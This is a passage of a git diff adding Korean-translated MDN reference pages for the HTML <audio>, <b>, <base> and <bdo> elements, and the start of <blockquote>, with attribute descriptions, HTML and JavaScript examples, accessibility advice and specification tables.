+<p>The <code>&lt;audio&gt;</code> element has no intrinsic visual output of its own unless the <code>controls</code> attribute is specified, in which case the browser's default controls are shown.</p>
+
+<p>The default controls have a {{cssxref("display")}} value of <code>inline</code> by default, and it is often a good idea set the value to <code>block</code> to improve control over positioning and layout, unless you want it to sit within a text block or similar.</p>
+
+<p>You can style the default controls with properties that affect the block as a single unit, so for example you can give it a {{cssxref("border")}} and {{cssxref("border-radius")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, etc. You can't however style the individual components inside the audio player (e.g. change the button size or icons, change the font, etc.), and the controls are different across the different browsers.</p>
+
+<p>To get a consistent look and feel across browsers, you'll need to create custom controls; these can be marked up and styled in whatever way you want, and then JavaScript can be used along with the {{domxref("HTMLMediaElement")}} API to wire up their functionality.</p>
+
+<p><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Video player styling basics</a> provides some useful styling techniques — it is written in the context of <code>&lt;video&gt;</code>, but much of it is equally applicable to <code>&lt;audio&gt;</code>.</p>
+
+<h3 id="Detecting_addition_and_removal_of_tracks">Detecting addition and removal of tracks</h3>
+
+<p>You can detect when tracks are added to and removed from an <code>&lt;audio&gt;</code> element using the {{event("addtrack")}} and {{event("removetrack")}} events. However, these events aren't sent directly to the <code>&lt;audio&gt;</code> element itself. Instead, they're sent to the track list object within the <code>&lt;audio&gt;</code> element's {{domxref("HTMLMediaElement")}} that corresponds to the type of track that was added to the element:</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>An {{domxref("AudioTrackList")}} containing all of the media element's audio tracks. You can add a listener for <code>addtrack</code> to this object to be alerted when new audio tracks are added to the element.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}}</dt>
+ <dd>Add an <code>addtrack</code> listener to this {{domxref("VideoTrackList")}} object to be informed when video tracks are added to the element.</dd>
+ <dt>{{domxref("HTMLMediaElement.textTracks")}}</dt>
+ <dd>Add an <code>addtrack</code> event listener to this {{domxref("TextTrackList")}} to be notified when new text tracks are added to the element.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Even though it's an <code>&lt;audio&gt;</code> element, it still has video and text track lists, and can in fact be used to present video, although the use interface implications can be odd.</p>
+</div>
+
+<p>For example, to detect when audio tracks are added to or removed from an <code>&lt;audio&gt;</code> element, you can use code like this:</p>
+
+<pre class="brush: js">var elem = document.querySelector("audio");
+
+elem.audioTrackList.onaddtrack = function(event) {
+ trackEditor.addTrack(event.track);
+};
+
+elem.audioTrackList.onremovetrack = function(event) {
+ trackEditor.removeTrack(event.track);
+};
+</pre>
+
+<p>This code watches for audio tracks to be added to and removed from the element, and calls a hypothetical function on a track editor to register and remove the track from the editor's list of available tracks.</p>
+
+<p>You can also use {{domxref("EventTarget.addEventListener", "addEventListener()")}} to listen for the {{event("addtrack")}} and {{event("removetrack")}} events.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Basic_usage">Basic usage</h3>
+
+<p>The following example shows simple usage of the <code>&lt;audio&gt;</code> element to play an OGG file. It will autoplay due to the <code>autoplay</code> attribute—if the page has permission to do so—and also includes fallback content.</p>
+
+<pre class="brush: html">&lt;!-- Simple audio playback --&gt;
+&lt;audio
+ src="AudioTest.ogg"
+ autoplay&gt;
+ Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
+&lt;/audio&gt;
+</pre>
+
+<p>For details on when autoplay works, how to get permission to use autoplay, and how and when it's appropriate to use autoplay, see our <a href="/en-US/docs/Web/Media/Autoplay_guide">autoplay guide</a>.</p>
+
+<h3 id="&lt;audio>_element_with_&lt;source>_element">&lt;audio&gt; element with &lt;source&gt; element</h3>
+
+<p>This example specifies which audio track to embed using the <code>src</code> attribute on a nested <code>&lt;source&gt;</code> element rather than directly on the <code>&lt;audio&gt;</code> element. It is always useful to include the file's MIME type inside the <code>type</code> attribute, as the browser is able to instantly tell if it can play that file, and not waste time on it if not.</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+ &lt;source src="foo.wav" type="audio/wav"&gt;
+ Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
+&lt;/audio&gt;
+</pre>
+
+<h3 id="&lt;audio>_with_multiple_&lt;source>_elements">&lt;audio&gt; with multiple &lt;source&gt; elements</h3>
+
+<p>This example includes multiple <code>&lt;source&gt;</code> elements. The browser tries to load the first source element (Opus) if it is able to play it; if not it falls back to the second (Vorbis) and finally back to MP3:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+ &lt;source src="foo.opus" type="audio/ogg; codecs=opus"/&gt;
+ &lt;source src="foo.ogg" type="audio/ogg; codecs=vorbis"/&gt;
+ &lt;source src="foo.mp3" type="audio/mpeg"/&gt;
+&lt;/audio&gt;</pre>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>Audio with spoken dialog should provide both captions and transcripts that accurately describe its content. Captions, which are specified using <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a>, allow people who are experiencing hearing loss to understand an audio recording's content as the recording is being played, while transcripts allow people who need additional time to be able to review the recording's content at a pace and format that is comfortable for them.</p>
+
+<p>If automatic captioning services are used, it is important to review the generated content to ensure it accurately represents the source audio.</p>
+
+<p>The <code>&lt;audio&gt;</code> element doesn't directly support WebVTT. You will have to find a library or framework that provides the capability for you, or write the code to display captions yourself. One option is to play your audio using a {{HTMLElement("video")}} element, which does support WebVTT.</p>
+
+<p>In addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information. This includes emotion and tone. For example, in the WebVTT below, note the use of square brackets to provide tone and emotional insight to the viewer; this can help establish the mood otherwise provided using music, nonverbal sounds and crucial sound effects, and so forth.</p>
+
+<pre>1
+00:00:00 --&gt; 00:00:45
+[Energetic techno music]
+
+2
+00:00:46 --&gt; 00:00:51
+Welcome to the Time Keeper's podcast! In this episode we're discussing which Swisswatch is a wrist switchwatch?
+
+16
+00:00:52 --&gt; 00:01:02
+[Laughing] Sorry! I mean, which wristwatch is a Swiss wristwatch?
+</pre>
+
+<p>Also it's a good practice to provide some content (such as the direct download link) as a fallback for viewers who use a browser in which the <code>&lt;audio&gt;</code> element is not supported:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+ &lt;source src="myAudio.mp3" type="audio/mpeg"&gt;
+ &lt;source src="myAudio.ogg" type="audio/ogg"&gt;
+ &lt;p&gt;
+ Your browser doesn't support HTML5 audio.
+ Here is a &lt;a href="myAudio.mp4"&gt;link to download the audio&lt;/a&gt; instead.
+ &lt;/p&gt;
+&lt;/audio&gt;
+
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Subtitles_captions">MDN Subtitles and closed caption — Plugins</a></li>
+ <li><a href="/en-US/docs/Web/API/WebVTT_API">Web Video Text Tracks Format (WebVTT)</a></li>
+ <li><a href="https://webaim.org/techniques/captions/">WebAIM: Captions, Transcripts, and Audio Descriptions</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.2_—_Providing_text_alternatives_for_time-based_media">MDN Understanding WCAG, Guideline 1.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-av-only-alt.html">Understanding Success Criterion 1.2.1 | W3C Understanding WCAG 2.0</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-captions.html">Understanding Success Criterion 1.2.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>. {{htmlattrxref("controls", "audio")}} 특성을 가진 경우, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a> 및 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>
+ <p>{{htmlattrxref("src", "audio")}} 특성을 가진 경우 0개 이상의 {{htmlelement("track")}} 요소와 그 이후의 투명한 콘텐츠. 단, 다른 {{htmlelement("audio")}}와 {{htmlelement("video")}} 요소는 불가능.</p>
+
+ <p>그 외의 경우 0개 이상의 {{HTMLElement("source")}} 요소와 0개 이상의 {{HTMLElement("track")}} 요소, 그리고 이후의 투명한 콘텐츠. 단, 다른 {{htmlelement("audio")}}와 {{htmlelement("video")}} 요소는 불가능.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("application")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLAudioElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-audio-element', '&lt;audio&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-audio-element', '&lt;audio&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.audio")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a>
+
+ <ul>
+ <li><a href="/en-US/docs/Web/Media/Formats/Containers">Media container formats (file types)</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Audio_codecs">Guide to audio codecs used on the web</a></li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Web_Audio_API">Web Audio API</a></li>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{htmlelement("source")}}</li>
+ <li>{{htmlelement("video")}}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Learning area: Video and audio content</a></li>
+ <li><a href="/en-US/Apps/Fundamentals/Audio_and_video_delivery/Cross-browser_audio_basics">Cross-browser audio basics</a></li>
+</ul>
diff --git a/files/ko/web/html/element/b/index.html b/files/ko/web/html/element/b/index.html
new file mode 100644
index 0000000000..e7d54271fa
--- /dev/null
+++ b/files/ko/web/html/element/b/index.html
@@ -0,0 +1,121 @@
+---
+title: <b>
+slug: Web/HTML/Element/b
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - 'HTML:Phrasing content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/b
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;b&gt;</code> 요소</strong>는 독자의 주의를 요소의 콘텐츠로 끌기 위한 용도로 사용합니다. 그 외의 다른 특별한 중요도는 주어지지 않습니다.</span> 원래는 "굵은 글씨 요소"로 불렸으며, 대부분의 브라우저도 여전히 텍스트를 굵은 글씨체로 강조합니다. 그러나 <code>&lt;b&gt;</code>를 사용해 텍스트를 꾸미면 안됩니다. 대신 CSS {{cssxref("font-weight")}}를 사용해 굵은 글씨체를 적용하거나, {{htmlelement("strong")}} 요소를 사용해 특별히 중요한 텍스트를 나타내세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/b.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>요약 키워드, 리뷰의 제품명 등, 특별한 중요성을 가지고 있지는 않지만 굵게 표시할 부분에 <code>&lt;b&gt;</code>를 사용하세요.</li>
+ <li><code>&lt;b&gt;</code> 요소와 {{HTMLElement("strong")}}, {{HTMLElement("em")}}, {{HTMLElement("mark")}} 요소를 혼동하지 않도록 주의하세요. {{HTMLElement("strong")}} 요소는 <strong>중요</strong>한 글을, {{HTMLElement("em")}} 요소는 약간의 강조가 필요한 글을, {{HTMLElement("mark")}} 요소는 관련성이 있는 글을 나타냅니다. <code>&lt;b&gt;</code> 요소는 아무런 의미도 갖지 않으므로 다른 요소가 적합하지 않을 때만 사용하세요.</li>
+ <li>비슷한 이유로 <code>&lt;b&gt;</code> 요소로만 제목을 만들어선 안됩니다. 제목은 {{HTMLElement("h1")}}에서 {{HTMLElement("h6")}} 태그로 표현하세요. 특히 스타일 시트를 사용해 제목 요소의 스타일을 바꿀 수 있다는 점을 생각해보면, 제목이 꼭 굵은 글씨체일 필요는 없습니다.</li>
+ <li class="hidden">It is a good practice to use the <strong>class</strong> attribute on the <code>&lt;b&gt;</code> in order to convey additional semantic information (for example <code>&lt;b class="lede"&gt;</code> for the first sentence in a paragraph). This eases the development of several stylings of a web document, without the need to change its HTML code.</li>
+ <li>과거 <code>&lt;b&gt;</code> 요소는 굵을 글씨를 만들 때 사용했습니다. HTML4부터 스타일 정보는 사용하지 않으므로 <code>&lt;b&gt;</code> 요소의 의미도 바뀌었습니다.</li>
+ <li>&lt;b&gt;의 의미와 관계 없이 굵은 글씨를 사용하고 있다면, CSS {{cssxref("font-weight")}} 속성의 <code>"bold"</code> 값을 사용하는 방법을 고려하세요.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;
+ This article describes several &lt;b class="keywords"&gt;text-level&lt;/b&gt; elements.
+ It explains their usage in an &lt;b class="keywords"&gt;HTML&lt;/b&gt; document.
+&lt;/p&gt;
+Keywords are displayed with the default style of the &lt;b&gt;element, likely in bold&lt;/b&gt;.</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.b")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/International/questions/qa-b-and-i-tags">&lt;b&gt;와 &lt;i&gt; 요소 사용하기 (W3C)</a></li>
+</ul>
diff --git a/files/ko/web/html/element/base/index.html b/files/ko/web/html/element/base/index.html
new file mode 100644
index 0000000000..0a126d67f4
--- /dev/null
+++ b/files/ko/web/html/element/base/index.html
@@ -0,0 +1,136 @@
+---
+title: <base>
+slug: Web/HTML/Element/base
+tags:
+ - Element
+ - HTML
+ - HTML document metadata
+ - 'HTML:Metadata content'
+ - Reference
+translation_of: Web/HTML/Element/base
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;base&gt;</code> 요소</strong>는 문서 안의 모든 상대 {{glossary("URL")}}이 사용할 기준 URL을 지정합니다. 문서에는 하나의 <code>&lt;base&gt;</code> 요소만 존재할 수 있습니다.</p>
+
+<p>문서의 기준 URL을 스크립트에서 접근해야할 땐 {{domxref('document.baseURI')}}을 사용할 수 있습니다. 문서에 <code>&lt;base&gt;</code> 요소가 존재하지 않을 때 <code>baseURI</code>의 기본값은 {{domxref("location.href")}}입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>메타데이터 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{Glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>다른 <code>&lt;base&gt;</code> 요소를 포함하지 않는 {{htmlelement("head")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLBaseElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함합니다.</span></p>
+
+<div class="blockIndicator warning">
+<p><span style="line-height: 21px;">다음 특성 중 하나라도 지정한 경우, 상대 URL을 특성에 사용한 모든 요소보다 <code>&lt;base&gt;</code>가 앞에 위치해야 합니다.</span></p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>문서 내 상대 URL이 사용할 기준 URL. 절대 및 상대 URL을 사용할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd><code>target</code> 속성을 명시하지 않은 {{htmlelement("a")}}, {{htmlelement("area")}}, 또는 {{htmlelement("form")}} 요소가 탐색을 유발했을 때, 그 결과를 보여줄 기본 {{glossary("browsing context", "브라우징 맥락")}}. <strong>키워드</strong>나 <strong>저작자 정의 이름</strong>으로 지정합니다.</dd>
+ <dd>다음 키워드는 특별한 의미를 갖습니다.
+ <ul>
+ <li><code>_self</code> (기본값): 결과를 현재 브라우징 맥락에 보여줍니다.</li>
+ <li><code>_blank</code>: 결과를 새로 생성한, 이름 없는 브라우징 맥락에 보여줍니다.</li>
+ <li><code>_parent</code>: 현재 페이지가 프레임 안에 존재하는 경우, 결과를 현재 브라우징 맥락의 부모에 보여줍니다. 부모가 없으면 <code>_self</code>와 동일합니다.</li>
+ <li><code>_top</code>: 결과를 최상위 브라우징 맥락에 보여줍니다. 최상위 브라우징 맥락이란 현재 맥락의 조상 중 부모가 없는 맥락입니다. 현재 맥락이 부모를 가지지 않으면 <code>_self</code>와 동일합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="다중_&lt;base>_요소">다중 <code>&lt;base&gt;</code> 요소</h3>
+
+<p><code>&lt;base&gt;</code> 요소가 여러 개 존재하는 경우 첫 <code>href</code>와 첫 <code>target</code>만 사용하며 나머지는 모두 무시합니다.</p>
+
+<h3 id="페이지_내부_앵커">페이지 내부 앵커</h3>
+
+<p><code>&lt;a href="#some-id"&gt;</code>처럼, 문서 프래그먼트를 가리키는 링크 주소도 <code>&lt;base&gt;</code>를 사용해 처리하므로, 기준 URL 뒤에 프래그먼트를 붙인 주소로 HTTP 요청을 유발합니다. 예를 들어,</p>
+
+<ol>
+ <li><code>&lt;base href="https://example.com"&gt;</code>을 가정</li>
+ <li><code>&lt;a href="#anchor"&gt;Anker&lt;/a&gt;</code>를 가정</li>
+ <li>2번의 링크는 <code>https://example.com/#anchor</code>를 가리킵니다.</li>
+</ol>
+
+<h3 id="Open_Graph">Open Graph</h3>
+
+<p><a href="https://ogp.me/">Open Graph</a> 태그는 <code>&lt;base&gt;</code>를 인식하지 않으므로 항상 온전한 형태의 절대 URL을 지정해야 합니다.</p>
+
+<pre class="brush: html notranslate">&lt;meta property="og:image" content="https://example.com/thumbnail.jpg"&gt;</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;base href="http://www.example.com/page.html"&gt;
+&lt;base target="_blank"&gt;
+&lt;base target="_target" href="http://www.example.com/page.html"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-base-element', '&lt;base&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'document-metadata#the-base-element', '&lt;base&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/links.html#h-12.4', '&lt;base&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.base")}}</p>
diff --git a/files/ko/web/html/element/bdo/index.html b/files/ko/web/html/element/bdo/index.html
new file mode 100644
index 0000000000..5a2ffa7887
--- /dev/null
+++ b/files/ko/web/html/element/bdo/index.html
@@ -0,0 +1,111 @@
+---
+title: '<bdo>: 양방향 텍스트 재정의 요소'
+slug: Web/HTML/Element/bdo
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+ - 쓰기 방향
+translation_of: Web/HTML/Element/bdo
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;bdo&gt;</code> 요소</strong>는 현재 텍스트의 쓰기 방향을 덮어쓰고 다른 방향으로 렌더링 할 때 사용합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/bdo.html", "tabbed-standard")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("dir")}}</dt>
+ <dd>요소 콘텐츠의 텍스트 쓰기 방향. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li><code>ltr</code>: 텍스트를 왼쪽에서 오른쪽으로 써야 함을 나타냅니다.</li>
+ <li><code>rtl</code>: 텍스트를 오른쪽에서 왼쪽으로 써야 함을 나타냅니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;!-- 쓰기 방향 바꾸기 --&gt;
+&lt;p&gt;이 글은 왼쪽에서 오른쪽으로 작성합니다.&lt;/p&gt;
+&lt;p&gt;&lt;bdo dir="rtl"&gt;이 글은 오른쪽에서 왼쪽으로 작성합니다.&lt;/bdo&gt;&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'dirlang.html#h-8.2.4', '&lt;bdo&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.bdo")}}</p>
diff --git a/files/ko/web/html/element/blockquote/index.html b/files/ko/web/html/element/blockquote/index.html
new file mode 100644
index 0000000000..d5392594f4
--- /dev/null
+++ b/files/ko/web/html/element/blockquote/index.html
@@ -0,0 +1,131 @@
+---
+title: '<blockquote>: 인용 블록 요소'
+slug: Web/HTML/Element/blockquote
+tags:
+ - Element
+ - HTML
+ - HTML grouping content
+ - 'HTML:Flow content'
+ - Reference
+ - Web
+ - 인용
+translation_of: Web/HTML/Element/blockquote
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;blockquote&gt;</code> 요소</strong>는 안쪽의 텍스트가 긴 인용문임을 나타냅니다. 주로 들여쓰기를 한 것으로 그려집니다. (외형을 바꾸는 법은 {{anch("사용 일람")}}을 참고하세요) 인용문의 출처 URL은 {{htmlattrxref("cite", "blockquote")}} 특성으로, 출처 텍스트는 {{htmlelement("cite")}} 요소로 제공할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
